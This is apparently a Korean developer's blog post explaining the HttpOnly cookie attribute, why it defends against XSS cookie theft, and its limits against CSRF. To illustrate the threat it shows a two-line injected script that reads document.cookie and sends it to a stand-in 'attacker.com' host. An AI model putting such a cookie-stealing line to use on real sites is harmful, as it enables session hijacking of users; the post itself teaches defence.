[Web] HttpOnly란 ?

leebaek 2025. 5. 3. 13:42

 

■ HttpOnly란?

■ HttpOnly의 필요성

■ HttpOnly의 특징


 

 

최근 프로젝트를 하면서 알게된 개념인데, 

왜 HttpOnly를 써야하는지가 궁금하더군요 ! 

 

간단하게나마 알면 좋을 것 같아

 HttpOnly에 대해 포스팅 해볼겁니다.


■ HttpOnly란?

: 웹 서버가 쿠키를 생성할 때 설정할 수 있는 보안 속성 중 하나

 

이 속성이 설정된 쿠키느 JavaScript에서 접근할 수 없으며, 오직 HTTP 요청을 통해서만 서버와 주고받을 수 있습니다.

즉, 클라이언트 측의 document.cookie를 통해 쿠키 값을 읽으려고 해도, HttpOnly가 설정된 쿠키는 읽어올 수 없습니다.


■ HttpOnly의 필요성

✨ 쿠키 탈취를 막기 위함

웹 애플리케이션에서 가장 흔한 공격 방식 중 하나는 XSS(크로스 사이트 스크립팅)입니다.

공격자는 웹 페이지에 악성 스크립트를 삽입해 사용자의 쿠키를 탈취할 수 있습니다.

 

// 공격자가 삽입한 스크립트
const stolen = document.cookie;
fetch('https://attacker.com/steal?cookie=' + stolen);

 

만약 로그인 세션 토큰이 쿠키에 저장되어 있다면, 이런 방식으로 탈취되어 세션 하이재킹이 가능합니다.

하지만 쿠키에 HttpOnly를 설정해두면 JavaScript로 접근할 수 없기 때문에,

XSS 공격이 성공하더라도 쿠키는 탈취되지 않습니다.


■ HttpOnly의 특징

항목 설명
JavaScript 접근 제한 document.cookie에서 보이지 않음
자동 전송 브라우저가 서버로 요청 시 자동 전송 ( Cookie 헤더 )
보안 강화 XSS 공격으로부터 쿠키 보호
설정 방법 서버에서 Set-Cookie 응답시 HttpOnly명시
단점 CSRF 공격은 방어하지 못함 ( SamSite 속성과 병행 필요 )

 


 

HttpOnly 속성 때문에 요며칠 프로젝트가 막힌 상태라 화가났는데,

이런 이유로 사용된다는 것을 아니까 화가 좀 가라앉는 것 같습니다.

공부를 열심히 해야겠습니다 ..!!